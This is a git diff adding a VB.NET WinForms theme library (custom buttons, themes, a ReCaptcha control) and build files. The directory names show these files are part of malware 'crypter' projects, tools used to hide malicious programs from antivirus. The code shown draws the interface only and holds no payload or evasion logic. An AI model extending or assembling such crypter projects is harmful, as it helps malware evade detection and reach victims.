OnMouseUp(ByVal e As MouseEventArgs) + ChangeMouseState(State.MouseOver) + MyBase.OnMouseUp(e) + End Sub + Protected Overrides Sub OnMouseDown(ByVal e As MouseEventArgs) + If e.Button = MouseButtons.Left Then ChangeMouseState(State.MouseDown) + MyBase.OnMouseDown(e) + End Sub + + Private Sub ChangeMouseState(ByVal e As State) + MouseState = e + Invalidate() + End Sub + +#End Region + +#Region " Convienence " + + MustOverride Sub PaintHook() + Protected NotOverridable Overrides Sub OnPaint(ByVal e As PaintEventArgs) + If Width = 0 OrElse Height = 0 Then Return + PaintHook() + e.Graphics.DrawImage(B, 0, 0) + End Sub + + Protected Overrides Sub OnSizeChanged(ByVal e As EventArgs) + If Not Width = 0 AndAlso Not Height = 0 Then + B = New Bitmap(Width, Height) + G = Graphics.FromImage(B) + Invalidate() + End If + MyBase.OnSizeChanged(e) + End Sub + + Private _NoRounding As Boolean + Property NoRounding() As Boolean + Get + Return _NoRounding + End Get + Set(ByVal v As Boolean) + _NoRounding = v + Invalidate() + End Set + End Property + + Private _Image As Image + Property Image() As Image + Get + Return _Image + End Get + Set(ByVal value As Image) + _Image = value + Invalidate() + End Set + End Property + ReadOnly Property ImageWidth() As Integer + Get + If _Image Is Nothing Then Return 0 + Return _Image.Width + End Get + End Property + ReadOnly Property ImageTop() As Integer + Get + If _Image Is Nothing Then Return 0 + Return Height \ 2 - _Image.Height \ 2 + End Get + End Property + + Private _Size As Size + Private _Rectangle As Rectangle + Private _Gradient As LinearGradientBrush + Private _Brush As SolidBrush + + Protected Sub DrawCorners(ByVal c As Color, ByVal rect As Rectangle) + If _NoRounding Then Return + + B.SetPixel(rect.X, rect.Y, c) + B.SetPixel(rect.X + (rect.Width - 1), rect.Y, c) + B.SetPixel(rect.X, rect.Y + (rect.Height - 1), c) + B.SetPixel(rect.X + (rect.Width - 1), rect.Y + (rect.Height - 1), c) + End Sub + + Protected Sub DrawBorders(ByVal p1 As Pen, ByVal p2 As Pen, ByVal rect As Rectangle) + G.DrawRectangle(p1, rect.X, rect.Y, rect.Width - 1, rect.Height - 1) + G.DrawRectangle(p2, rect.X + 1, rect.Y + 1, rect.Width - 3, rect.Height - 3) + End Sub + + Protected Sub DrawText(ByVal a As HorizontalAlignment, ByVal c As Color, ByVal x As Integer) + DrawText(a, c, x, 0) + End Sub + Protected Sub DrawText(ByVal a As HorizontalAlignment, ByVal c As Color, ByVal x As Integer, ByVal y As Integer) + If String.IsNullOrEmpty(Text) Then Return + _Size = G.MeasureString(Text, Font).ToSize + _Brush = New SolidBrush(c) + + Select Case a + Case HorizontalAlignment.Left + G.DrawString(Text, Font, _Brush, x, Height \ 2 - _Size.Height \ 2 + y) + Case HorizontalAlignment.Right + G.DrawString(Text, Font, _Brush, Width - _Size.Width - x, Height \ 2 - _Size.Height \ 2 + y) + Case HorizontalAlignment.Center + G.DrawString(Text, Font, _Brush, Width \ 2 - _Size.Width \ 2 + x, Height \ 2 - _Size.Height \ 2 + y) + End Select + End Sub + + Protected Sub DrawIcon(ByVal a As HorizontalAlignment, ByVal x As Integer) + DrawIcon(a, x, 0) + End Sub + Protected Sub DrawIcon(ByVal a As HorizontalAlignment, ByVal x As Integer, ByVal y As Integer) + If _Image Is Nothing Then Return + Select Case a + Case HorizontalAlignment.Left + G.DrawImage(_Image, x, Height \ 2 - _Image.Height \ 2 + y) + Case HorizontalAlignment.Right + G.DrawImage(_Image, Width - _Image.Width - x, Height \ 2 - _Image.Height \ 2 + y) + Case HorizontalAlignment.Center + G.DrawImage(_Image, Width \ 2 - _Image.Width \ 2, Height \ 2 - _Image.Height \ 2) + End Select + End Sub + + Protected Sub DrawGradient(ByVal c1 As Color, ByVal c2 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal angle As Single) + _Rectangle = New Rectangle(x, y, width, height) + _Gradient = New LinearGradientBrush(_Rectangle, c1, c2, angle) + G.FillRectangle(_Gradient, _Rectangle) + End Sub +#End Region + +End Class +MustInherit Class ThemeContainerControl + Inherits ContainerControl + +#Region " Initialization " + + Protected G As Graphics, B As Bitmap + Sub New() + SetStyle(DirectCast(139270, ControlStyles), True) + B = New Bitmap(1, 1) + G = Graphics.FromImage(B) + End Sub + + Sub AllowTransparent() + SetStyle(ControlStyles.Opaque, False) + SetStyle(ControlStyles.SupportsTransparentBackColor, True) + End Sub + +#End Region + +#Region " Convienence " + + MustOverride Sub PaintHook() + Protected NotOverridable Overrides Sub OnPaint(ByVal e As PaintEventArgs) + If Width = 0 OrElse Height = 0 Then Return + PaintHook() + e.Graphics.DrawImage(B, 0, 0) + End Sub + + Protected Overrides Sub OnSizeChanged(ByVal e As EventArgs) + If Not Width = 0 AndAlso Not Height = 0 Then + B = New Bitmap(Width, Height) + G = Graphics.FromImage(B) + Invalidate() + End If + MyBase.OnSizeChanged(e) + End Sub + + Private _NoRounding As Boolean + Property NoRounding() As Boolean + Get + Return _NoRounding + End Get + Set(ByVal v As Boolean) + _NoRounding = v + Invalidate() + End Set + End Property + + Private _Rectangle As Rectangle + Private _Gradient As LinearGradientBrush + + Protected Sub DrawCorners(ByVal c As Color, ByVal rect As Rectangle) + If _NoRounding Then Return + B.SetPixel(rect.X, rect.Y, c) + B.SetPixel(rect.X + (rect.Width - 1), rect.Y, c) + B.SetPixel(rect.X, rect.Y + (rect.Height - 1), c) + B.SetPixel(rect.X + (rect.Width - 1), rect.Y + (rect.Height - 1), c) + End Sub + + Protected Sub DrawBorders(ByVal p1 As Pen, ByVal p2 As Pen, ByVal rect As Rectangle) + G.DrawRectangle(p1, rect.X, rect.Y, rect.Width - 1, rect.Height - 1) + G.DrawRectangle(p2, rect.X + 1, rect.Y + 1, rect.Width - 3, rect.Height - 3) + End Sub + + Protected Sub DrawGradient(ByVal c1 As Color, ByVal c2 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal angle As Single) + _Rectangle = New Rectangle(x, y, width, height) + _Gradient = New LinearGradientBrush(_Rectangle, c1, c2, angle) + G.FillRectangle(_Gradient, _Rectangle) + End Sub +#End Region + +End Class + +Class NTheme + Inherits Theme + + Sub New() + MoveHeight = 34 + + C1 = Color.FromArgb(235, 235, 235) + P1 = New Pen(Color.FromArgb(150, 150, 150)) + + BackColor = Color.White + ForeColor = Color.FromArgb(110, 110, 110) + TransparencyKey = Color.Fuchsia + End Sub + + Private C1 As Color + Private P1 As Pen + + Overrides Sub PaintHook() + G.Clear(C1) + + DrawGradient(Color.White, C1, 0, 0, Width, 26, 90S) + + DrawBorders(P1, Pens.White, ClientRectangle) + DrawCorners(Color.Fuchsia, ClientRectangle) + + G.FillRectangle(Brushes.White, New Rectangle(6, 32, Width - 12, Height - 38)) + + DrawText(HorizontalAlignment.Left, ForeColor, ImageWidth + 7) + DrawIcon(HorizontalAlignment.Left, 7) + + DrawBorders(Pens.White, P1, New Rectangle(6, 32, Width - 12, Height - 38)) + + DrawCorners(C1, New Rectangle(6, 32, Width - 12, Height - 38)) + DrawCorners(Color.White, New Rectangle(7, 33, Width - 14, Height - 40)) + End Sub + +End Class +Class NButton + Inherits ThemeControl + + Sub New() + AllowTransparent() + C1 = Color.FromArgb(220, 220, 220) + C2 = Color.FromArgb(250, 250, 250) + P1 = New Pen(Color.FromArgb(180, 180, 180)) + End Sub + + Private C1, C2 As Color + Private P1 As Pen + + Overrides Sub PaintHook() + If MouseState = State.MouseDown Then + DrawGradient(C1, C2, 0, 0, Width, Height, 90S) + Else + DrawGradient(C2, C1, 0, 0, Width, Height, 90S) + End If + + G.DrawLine(Pens.White, 0, 1, Width, 1) + DrawGradient(Color.White, Color.Transparent, 1, 0, 1, Height, 90S) + + DrawText(HorizontalAlignment.Center, ForeColor, ImageWidth) + DrawIcon(HorizontalAlignment.Left, 0) + + G.DrawRectangle(P1, 0, 0, Width - 1, Height - 1) + + DrawCorners(BackColor, ClientRectangle) + End Sub + +End Class + +Class GTheme + Inherits Theme + + Sub New() + MoveHeight = 29 + + C1 = Color.FromArgb(41, 41, 41) + C2 = Color.FromArgb(25, 25, 25) + + P1 = New Pen(Color.FromArgb(58, 58, 58)) + P2 = New Pen(C2) + + BackColor = C1 + ForeColor = Color.FromArgb(100, 100, 100) + TransparencyKey = Color.Fuchsia + End Sub + + Private C1, C2 As Color + Private P1, P2 As Pen + + Overrides Sub PaintHook() + G.Clear(C1) + + DrawGradient(C2, C1, 0, 0, Width, 28, 90S) + + G.DrawLine(P2, 0, 28, Width, 28) + G.DrawLine(P1, 0, 29, Width, 29) + + DrawText(HorizontalAlignment.Left, ForeColor, 5 + ImageWidth) + DrawIcon(HorizontalAlignment.Left, 5) + + DrawBorders(Pens.Black, P1, ClientRectangle) + DrawCorners(Color.Fuchsia, ClientRectangle) + End Sub + +End Class +Class GButton + Inherits ThemeControl + + Private P1, P2 As Pen + Private C1, C2 As Color + + Sub New() + P1 = New Pen(Color.FromArgb(25, 25, 25)) + P2 = New Pen(Color.FromArgb(11, Color.White)) + + C1 = Color.FromArgb(41, 41, 41) + C2 = Color.FromArgb(51, 51, 51) + End Sub + + Overrides Sub PaintHook() + + If MouseState = State.MouseDown Then + DrawGradient(C1, C2, 0, 0, Width, Height, 90S) + Else + DrawGradient(C2, C1, 0, 0, Width, Height, 90S) + End If + + DrawText(HorizontalAlignment.Center, ForeColor, 0) + DrawIcon(HorizontalAlignment.Left, 0) + + DrawBorders(P1, P2, ClientRectangle) + DrawCorners(BackColor, ClientRectangle) + End Sub + +End Class + +Class RTheme + Inherits Theme + + Sub New() + MoveHeight = 26 + + C1 = Color.FromArgb(40, 40, 40) + C2 = Color.FromArgb(30, 30, 30) + + B1 = New SolidBrush(Color.FromArgb(12, Color.White)) + B2 = New SolidBrush(Color.FromArgb(28, 28, 28)) + + P1 = New Pen(Color.FromArgb(90, 90, 90)) + P2 = New Pen(Color.FromArgb(70, 70, 70)) + + CreateTile() + + BackColor = B2.Color + ForeColor = Color.White + TransparencyKey = Color.Fuchsia + End Sub + + Private Tile As TextureBrush + Private Sub CreateTile() + Dim T As New Bitmap(4, 4) + For I As Byte = 0 To 3 + T.SetPixel(3 - I, I, C1) + Next + Tile = New TextureBrush(T) + End Sub + + Private C1, C2 As Color + Private B1, B2 As SolidBrush + Private P1, P2 As Pen + + Overrides Sub PaintHook() + G.Clear(C1) + + DrawGradient(C2, C1, 0, 0, Width, 24, 90S) + G.FillRectangle(Tile, 0, 0, Width, 28) + + G.FillRectangle(B1, 0, 0, Width, 12) + G.FillRectangle(B2, 6, 26, Width - 12, Height - 32) + + DrawText(HorizontalAlignment.Left, Color.White, ImageWidth + 5) + DrawIcon(HorizontalAlignment.Left, 5) + + DrawBorders(Pens.Black, P1, ClientRectangle) + DrawBorders(P2, Pens.Black, New Rectangle(6, 26, Width - 12, Height - 32)) + + DrawCorners(Color.Fuchsia, ClientRectangle) + End Sub + +End Class +Class RButton + Inherits ThemeControl + + Sub New() + C1 = Color.FromArgb(40, 40, 40) + C2 = Color.FromArgb(30, 30, 30) + C3 = Color.FromArgb(20, Color.White) + C4 = Color.FromArgb(35, 255, 255, 255) + + B1 = New SolidBrush(Color.FromArgb(10, Color.White)) + P1 = New Pen(Color.FromArgb(65, 65, 65)) + + CreateTile() + End Sub + + Private Tile As TextureBrush + Private Sub CreateTile() + Dim T As New Bitmap(4, 4) + For I As Byte = 0 To 3 + T.SetPixel(3 - I, I, C1) + Next + Tile = New TextureBrush(T) + End Sub + + Private I1 As Integer + Private C1, C2, C3, C4 As Color + Private B1 As SolidBrush + Private P1 As Pen + + Overrides Sub PaintHook() + G.Clear(C1) + + DrawGradient(C2, C1, 0, 0, Width, CInt(Height * 0.85), 90S) + G.FillRectangle(Tile, ClientRectangle) + + I1 = CInt(Height * 0.45) + + Select Case MouseState + Case State.MouseNone + DrawGradient(C3, Color.Transparent, 0, 0, Width, I1, 90S) + Case State.MouseOver + DrawGradient(C3, Color.Transparent, 0, 0, Width, I1, 90S) + G.FillRectangle(B1, ClientRectangle) + End Select + + DrawText(HorizontalAlignment.Center, Color.White, ImageWidth) + DrawIcon(HorizontalAlignment.Left, 0) + + DrawBorders(Pens.Black, P1, ClientRectangle) + + DrawGradient(Color.Transparent, C4, 1, 0, 1, Height \ 2, 90S) + DrawGradient(Color.Transparent, C4, Width - 2, 0, 1, Height \ 2, 90S) + End Sub +End Class + +Class STheme + Inherits Theme + + Sub New() + BackColor = Color.White + ForeColor = Color.FromArgb(0, 130, 15) + TransparencyKey = Color.Fuchsia + MoveHeight = 32 + End Sub + + Overrides Sub PaintHook() + G.Clear(Color.FromArgb(235, 235, 235)) + + Dim _Rectangle As New Rectangle(0, 0, Width, 30) + Dim _Gradient As New LinearGradientBrush(_Rectangle, Color.FromArgb(220, Color.White), Color.Transparent, 90) + G.FillRectangle(_Gradient, New Rectangle(0, 0, Width, 15)) + + G.FillRectangle(Brushes.White, New Rectangle(10, 30, Width - 20, Height - 40)) + DrawBorders(Pens.White, Pens.Silver, New Rectangle(10, 30, Width - 20, Height - 40)) + + DrawIcon(HorizontalAlignment.Left, 4) + DrawText(HorizontalAlignment.Left, Color.White, 9 + ImageWidth, 1) + DrawText(HorizontalAlignment.Left, Color.FromArgb(0, 130, 15), 8 + ImageWidth) + + DrawBorders(New Pen(Color.FromArgb(0, 130, 15)), Pens.White, ClientRectangle) + DrawCorners(Color.Fuchsia, ClientRectangle) + End Sub + +End Class +Class SButton + Inherits ThemeControl + + Overrides Sub PaintHook() + + Select Case MouseState + Case State.MouseOver + DrawGradient(Color.FromArgb(0, 235, 22), Color.FromArgb(0, 210, 22), 0, 0, Width, Height, 90) + Case State.MouseDown + DrawGradient(Color.FromArgb(0, 195, 22), Color.FromArgb(0, 220, 27), 0, 0, Width, Height, 90) + Case State.MouseNone + DrawGradient(Color.FromArgb(0, 220, 27), Color.FromArgb(0, 195, 22), 0, 0, Width, Height, 90) + End Select + + If Not MouseState = State.MouseDown Then + Dim _Rectangle As New Rectangle(0, 0, Width, Height \ 2) + Dim _Gradient As New LinearGradientBrush(_Rectangle, Color.FromArgb(150, Color.Lime), Color.FromArgb(50, Color.Lime), 90) + G.FillRectangle(_Gradient, _Rectangle) + End If + + DrawText(HorizontalAlignment.Center, Color.FromArgb(0, 230, 30), 1, 1) + DrawText(HorizontalAlignment.Center, Color.FromArgb(0, 130, 15), 0) + + DrawBorders(New Pen(Color.FromArgb(0, 190, 20)), New Pen(Color.FromArgb(0, 240, 30)), ClientRectangle) + DrawCorners(BackColor, ClientRectangle) + End Sub +End Class + +Class BTheme + Inherits Theme + + Sub New() + BackColor = Color.FromArgb(10, 10, 10) + ForeColor = Color.FromArgb(200, 0, 0) + TransparencyKey = Color.Fuchsia + MoveHeight = 32 + End Sub + + Overrides Sub PaintHook() + G.Clear(Color.FromArgb(10, 10, 10)) + + Dim _Rectangle As New Rectangle(0, 0, Width, 30) + Dim _Gradient As New LinearGradientBrush(_Rectangle, Color.FromArgb(15, Color.White), Color.Transparent, 90) + G.FillRectangle(_Gradient, New Rectangle(0, 0, Width, 15)) + + DrawBorders(New Pen(Color.FromArgb(20, 20, 20)), Pens.Black, New Rectangle(10, 30, Width - 20, Height - 40)) + + DrawIcon(HorizontalAlignment.Left, 4) + DrawText(HorizontalAlignment.Left, Color.Black, 9 + ImageWidth, 1) + DrawText(HorizontalAlignment.Left, Color.FromArgb(200, 0, 0), 8 + ImageWidth) + + DrawBorders(Pens.Black, New Pen(Color.FromArgb(25, 25, 25)), ClientRectangle) + DrawCorners(Color.Fuchsia, ClientRectangle) + End Sub + +End Class +Class BButton + Inherits ThemeControl + + Overrides Sub PaintHook() + + + If MouseState = State.MouseDown Then + G.Clear(Color.FromArgb(9, 9, 9)) + Else + G.Clear(Color.FromArgb(10, 10, 10)) + G.DrawRectangle(New Pen(Color.FromArgb(15, 15, 15)), 2, 2, Width - 4, Height - 4) + End If + + DrawText(HorizontalAlignment.Center, Color.Black, 1, 1) + DrawText(HorizontalAlignment.Center, Color.FromArgb(200, 0, 0), 0) + + DrawBorders(New Pen(Color.FromArgb(15, 15, 15)), Pens.Black, ClientRectangle) + DrawCorners(BackColor, ClientRectangle) + End Sub +End Class + + _ +Class Rotator + Inherits Component + Implements IExtenderProvider + + Private _CurrentFrame As Byte + Property CurrentFrame() As Byte + Get + Return _CurrentFrame + End Get + Set(ByVal v As Byte) + _CurrentFrame = v + + Dim Current As Byte + For Each c As Control In children.Keys + Current = CByte(children(c)) + c.Visible = Current = _CurrentFrame OrElse Current = 255 + Next + End Set + End Property + + Private children As New Hashtable + Private Function CanExtend(ByVal c As Object) As Boolean Implements IExtenderProvider.CanExtend + If Not TypeOf c Is Control OrElse TypeOf c Is Form Then Return False + + If Not children.Contains(c) Then + children.Add(c, 0) + AddHandler DirectCast(c, Control).HandleCreated, AddressOf HandleCreated + End If + + Return True + End Function + + Private Sub HandleCreated(ByVal s As Object, ByVal e As EventArgs) + children(DirectCast(s, Control)) = _CurrentFrame + End Sub + + Function GetFrame(ByVal c As Control) As Byte + Return CByte(children(c)) + End Function + Sub SetFrame(ByVal c As Control, ByVal v As Byte) + children(c) = v + c.Visible = v = _CurrentFrame OrElse v = 255 + End Sub +End Class + +Class Seperator + Inherits ThemeControl + + Sub New() + AllowTransparent() + End Sub + + Private _Direction As Orientation + Property Direction() As Orientation + Get + Return _Direction + End Get + Set(ByVal value As Orientation) + _Direction = value + Invalidate() + End Set + End Property + + Private _Color1 As Color = Color.FromArgb(90, Color.Black) + Property Color1() As Color + Get + Return _Color1 + End Get + Set(ByVal value As Color) + _Color1 = value + Invalidate() + End Set + End Property + + Private _Color2 As Color = Color.FromArgb(14, Color.White) + Property Color2() As Color + Get + Return _Color2 + End Get + Set(ByVal value As Color) + _Color2 = value + Invalidate() + End Set + End Property + + Overrides Sub PaintHook() + If Not BackColor = Color.Transparent Then G.Clear(BackColor) + + If _Direction = Orientation.Horizontal Then + G.DrawLine(New Pen(_Color1), 0, Height \ 2, Width, Height \ 2) + G.DrawLine(New Pen(_Color2), 0, Height \ 2 + 1, Width, Height \ 2 + 1) + Else + G.DrawLine(New Pen(_Color1), Width \ 2, 0, Width \ 2, Height) + G.DrawLine(New Pen(_Color2), Width \ 2 + 1, 0, Width \ 2 + 1, Height) + End If + End Sub + +End Class + +Class ButtonPane + Inherits ThemeControl + + Sub New() + AllowTransparent() + + _InnerBorder = New Pen(Color.FromArgb(50, Color.White)) + _Border1 = New Pen(Color.FromArgb(190, 215, 250)) + _Border2 = New Pen(Color.FromArgb(175, 200, 230)) + + _Font1 = Font + _Font2 = New Font(Font.Name, Font.Size - 1) + + _TextColor1 = New SolidBrush(Color.Blue) + _TextColor2 = New SolidBrush(Color.Black) + GO = Graphics.FromHwndInternal(Handle) + UpdateSize() + End Sub + + Private GO As Graphics + Private TextSize1, TextSize2 As Size + Private Sub UpdateSize() + TextSize1 = GO.MeasureString(_Text1, _Font1).ToSize + TextSize2 = GO.MeasureString(_Text2, _Font2).ToSize + Invalidate() + End Sub + + Private _Text1 As String = "Name" + Property Text1() As String + Get + Return _Text1 + End Get + Set(ByVal v As String) + _Text1 = v + UpdateSize() + End Set + End Property + Private _Text2 As String = "Description" + Property Text2() As String + Get + Return _Text2 + End Get + Set(ByVal v As String) + _Text2 = v + UpdateSize() + End Set + End Property + + Private _Font1 As Font + Property Font1() As Font + Get + Return _Font1 + End Get + Set(ByVal v As Font) + _Font1 = v + UpdateSize() + End Set + End Property + Private _Font2 As Font + Property Font2() As Font + Get + Return _Font2 + End Get + Set(ByVal v As Font) + _Font2 = v + UpdateSize() + End Set + End Property + + Private _TextColor1 As SolidBrush + Property TextColor1() As Color + Get + Return _TextColor1.Color + End Get + Set(ByVal v As Color) + _TextColor1 = New SolidBrush(v) + Invalidate() + End Set + End Property + Private _TextColor2 As SolidBrush + Property TextColor2() As Color + Get + Return _TextColor2.Color + End Get + Set(ByVal v As Color) + _TextColor2 = New SolidBrush(v) + Invalidate() + End Set + End Property + + Private _InnerBorder As Pen + Property InnerBorder() As Color + Get + Return _InnerBorder.Color + End Get + Set(ByVal v As Color) + _InnerBorder = New Pen(v) + Invalidate() + End Set + End Property + Private _Border1 As Pen + Property Border1() As Color + Get + Return _Border1.Color + End Get + Set(ByVal v As Color) + _Border1 = New Pen(v) + Invalidate() + End Set + End Property + Private _Border2 As Pen + Property Border2() As Color + Get + Return _Border2.Color + End Get + Set(ByVal v As Color) + _Border2 = New Pen(v) + Invalidate() + End Set + End Property + + Private _NoGradient As Boolean + Property NoGradient() As Boolean + Get + Return _NoGradient + End Get + Set(ByVal v As Boolean) + _NoGradient = v + Invalidate() + End Set + End Property + + Private _Color1A As Color = Color.White + Property Color1A() As Color + Get + Return _Color1A + End Get + Set(ByVal v As Color) + _Color1A = v + Invalidate() + End Set + End Property + Private _Color1B As Color = Color.FromArgb(245, 245, 245) + Property Color1B() As Color + Get + Return _Color1B + End Get + Set(ByVal v As Color) + _Color1B = v + Invalidate() + End Set + End Property + + Private _Color2A As Color = Color.FromArgb(205, 230, 255) + Property Color2A() As Color + Get + Return _Color2A + End Get + Set(ByVal v As Color) + _Color2A = v + Invalidate() + End Set + End Property + Private _Color2B As Color = Color.FromArgb(195, 220, 255) + Property Color2B() As Color + Get + Return _Color2B + End Get + Set(ByVal v As Color) + _Color2B = v + Invalidate() + End Set + End Property + + Private _Selection As Boolean + Property Selection() As Boolean + Get + Return _Selection + End Get + Set(ByVal v As Boolean) + _Selection = v + Invalidate() + End Set + End Property + + Private _SelectionToggle As Boolean + Property SelectionToggle() As Boolean + Get + Return _SelectionToggle + End Get + Set(ByVal v As Boolean) + _SelectionToggle = v + End Set + End Property + Protected Overrides Sub OnClick(ByVal e As EventArgs) + If _SelectionToggle Then Selection = Not _Selection + Invalidate() + MyBase.OnClick(e) + End Sub + + Private Push As Byte + Private ImageOS, StringTO As Integer + Overrides Sub PaintHook() + If Not BackColor = Color.Transparent Then G.Clear(BackColor) + + Push = 0 + Select Case MouseState + Case State.MouseOver + If _Selection Then DrawMouseDown() Else DrawMouseOver() + Case State.MouseDown + Push = 1 + DrawMouseDown() + Case State.MouseNone + If _Selection Then DrawMouseOver() + End Select + + If ImageWidth = 0 Then ImageOS = 0 Else ImageOS = 10 + StringTO = Height \ 2 - TextSize1.Height \ 2 - TextSize2.Height \ 2 + + G.DrawString(_Text1, _Font1, _TextColor1, ImageWidth + ImageOS + 10 + Push, StringTO + Push) + DrawDescription() + + DrawIcon(HorizontalAlignment.Left, 5 + Push, Push) + End Sub + + Private Sub DrawDescription() + If String.IsNullOrEmpty(Text1) Then + G.DrawString(_Text2, _Font2, _TextColor2, ImageWidth + ImageOS + 10 + Push, StringTO + TextSize1.Height + Push) + Else + G.DrawString(_Text2, _Font2, _TextColor2, ImageWidth + ImageOS + 10 + Push, StringTO + TextSize1.Height + Push) + End If + End Sub + + Private Sub DrawMouseOver() + If Not _NoGradient Then DrawGradient(_Color1A, _Color1B, 0, 0, Width, Height, 90S) + DrawBorders(_Border1, _InnerBorder, ClientRectangle) + DrawCorners(BackColor, ClientRectangle) + End Sub + Private Sub DrawMouseDown() + If Not _NoGradient Then DrawGradient(_Color2A, _Color2B, 0, 0, Width, Height, 90S) + DrawBorders(_Border2, _InnerBorder, ClientRectangle) + DrawCorners(BackColor, ClientRectangle) + End Sub + +End Class + + +Class ReCaptcha + Inherits ThemeControl + + Event ChallengeChange(ByVal sender As Object) + + Private RC_Image As Image + Private Const RC_Challenge As String = "http://www.google.com/recaptcha/api/challenge?k=" + Private Const RC_Location As String = "http://www.google.com/recaptcha/api/image?c=" + + Private Sub StringDone(ByVal s As Object, ByVal e As DownloadStringCompletedEventArgs) + _Challenge = Regex.Match(e.Result, "nge : '(.+)'").Groups(1).Value + Client.DownloadDataAsync(New Uri(RC_Location & _Challenge)) + End Sub + Private Sub DataDone(ByVal s As Object, ByVal e As DownloadDataCompletedEventArgs) + Dim M As New MemoryStream(e.Result) + RC_Image = Image.FromStream(M) + M.Close() + + Processing = False + Invalidate() + RaiseEvent ChallengeChange(Me) + End Sub + + Private Client As New WebClient + Sub New() + AddHandler Client.DownloadStringCompleted, AddressOf StringDone + AddHandler Client.DownloadDataCompleted, AddressOf DataDone + Size = New Size(302, 59) + End Sub + + Private Processing As Boolean + Sub Generate() + If String.IsNullOrEmpty(_PublicKey) OrElse Processing Then Return + If Not _DesignModeShow AndAlso DesignMode Then Return + Processing = True + Client.DownloadStringAsync(New Uri(RC_Challenge & _PublicKey)) + End Sub + + Private _PublicKey As String + Property PublicKey() As String + Get + Return _PublicKey + End Get + Set(ByVal value As String) + _PublicKey = value + Generate() + End Set + End Property + + Private _Challenge As String + ReadOnly Property Challenge As String + Get + Return _Challenge + End Get + End Property + + Private _DesignModeShow As Boolean + Property DesignModeShow() As Boolean + Get + Return _DesignModeShow + End Get + Set(ByVal value As Boolean) + _DesignModeShow = value + If value Then Generate() + End Set + End Property + + Private P1 As Pen = Pens.Black + Property BorderColor() As Color + Get + Return P1.Color + End Get + Set(ByVal v As Color) + P1 = New Pen(v) + Invalidate() + End Set + End Property + + Overrides Sub PaintHook() + G.Clear(BackColor) + + If RC_Image IsNot Nothing Then + G.DrawImage(RC_Image, Width \ 2 - RC_Image.Width \ 2, Height \ 2 - RC_Image.Height \ 2) + End If + + G.DrawRectangle(P1, 0, 0, Width - 1, Height - 1) + End Sub +End Class + +Class GroupBox + Inherits ThemeContainerControl + + Sub New() + AllowTransparent() + _Border1 = New Pen(Color.FromArgb(90, Color.Black)) + _Border2 = New Pen(Color.FromArgb(14, Color.White)) + End Sub + + Private _Border1 As Pen + Property Border1() As Color + Get + Return _Border1.Color + End Get + Set(ByVal v As Color) + _Border1 = New Pen(v) + Invalidate() + End Set + End Property + + Private _Border2 As Pen + Property Border2() As Color + Get + Return _Border2.Color + End Get + Set(ByVal v As Color) + _Border2 = New Pen(v) + Invalidate() + End Set + End Property + + Private _FillColor As Color = Color.Transparent + Property FillColor() As Color + Get + Return _FillColor + End Get + Set(ByVal v As Color) + _FillColor = v + Invalidate() + End Set + End Property + + Overrides Sub PaintHook() + G.Clear(_FillColor) + DrawBorders(_Border1, _Border2, ClientRectangle) + DrawCorners(BackColor, ClientRectangle) + End Sub + +End Class \ No newline at end of file diff --git a/scode (Sikandars.Crypter.V6.VB.NET/obj/Debug/DesignTimeResolveAssemblyReferences.cache b/scode (Sikandars.Crypter.V6.VB.NET/obj/Debug/DesignTimeResolveAssemblyReferences.cache new file mode 100644 index 0000000..0dd2d9b Binary files /dev/null and b/scode (Sikandars.Crypter.V6.VB.NET/obj/Debug/DesignTimeResolveAssemblyReferences.cache differ diff --git a/scode (Sikandars.Crypter.V6.VB.NET/obj/Debug/SCV6.0.vbproj.CoreCompileInputs.cache b/scode (Sikandars.Crypter.V6.VB.NET/obj/Debug/SCV6.0.vbproj.CoreCompileInputs.cache new file mode 100644 index 0000000..ca30ad6 --- /dev/null +++ b/scode (Sikandars.Crypter.V6.VB.NET/obj/Debug/SCV6.0.vbproj.CoreCompileInputs.cache @@ -0,0 +1 @@ +3203afc0782dd7ca9aeda21389792c5f7d43d6ce diff --git a/scode (Sikandars.Crypter.V6.VB.NET/obj/Debug/TempPE/My Project.Resources.Designer.vb.dll b/scode (Sikandars.Crypter.V6.VB.NET/obj/Debug/TempPE/My Project.Resources.Designer.vb.dll new file mode 100644 index 0000000..f5e692f Binary files /dev/null and b/scode (Sikandars.Crypter.V6.VB.NET/obj/Debug/TempPE/My Project.Resources.Designer.vb.dll differ diff --git a/scode (SpaceCrypter - Free Edition/.DS_Store b/scode (SpaceCrypter - Free Edition/.DS_Store new file mode 100644 index 0000000..a30a9d9 Binary files /dev/null and b/scode (SpaceCrypter - Free Edition/.DS_Store differ diff --git a/scode (SpaceCrypter - Free Edition/.vs/SpaceCrypter - Free Edition/v14/.suo b/scode (SpaceCrypter - Free Edition/.vs/SpaceCrypter - Free Edition/v14/.suo new file mode 100644 index 0000000..f29f03f Binary files /dev/null and b/scode (SpaceCrypter - Free Edition/.vs/SpaceCrypter - Free Edition/v14/.suo differ diff --git a/scode (SpaceCrypter - Free Edition/SpaceCrypter - Free Edition.sln b/scode (SpaceCrypter - Free Edition/SpaceCrypter - Free Edition.sln new file mode 100644 index 0000000..6205bee --- /dev/null +++ b/scode (SpaceCrypter - Free Edition/SpaceCrypter - Free Edition.sln @@ -0,0 +1,22 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 14 +VisualStudioVersion = 14.0.24720.0 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "SpaceCrypter - Free Edition", "SpaceCrypter - Free Edition\SpaceCrypter - Free Edition.vbproj", "{D206B0A2-4C04-468C-8090-DDBAF65E757D}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {D206B0A2-4C04-468C-8090-DDBAF65E757D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {D206B0A2-4C04-468C-8090-DDBAF65E757D}.Debug|Any CPU.Build.0 = Debug|Any CPU + {D206B0A2-4C04-468C-8090-DDBAF65E757D}.Release|Any CPU.ActiveCfg = Release|Any CPU + {D206B0A2-4C04-468C-8090-DDBAF65E757D}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/scode (SpaceCrypter - Free Edition/SpaceCrypter - Free Edition/Classe/ChangerDicon.vb b/scode 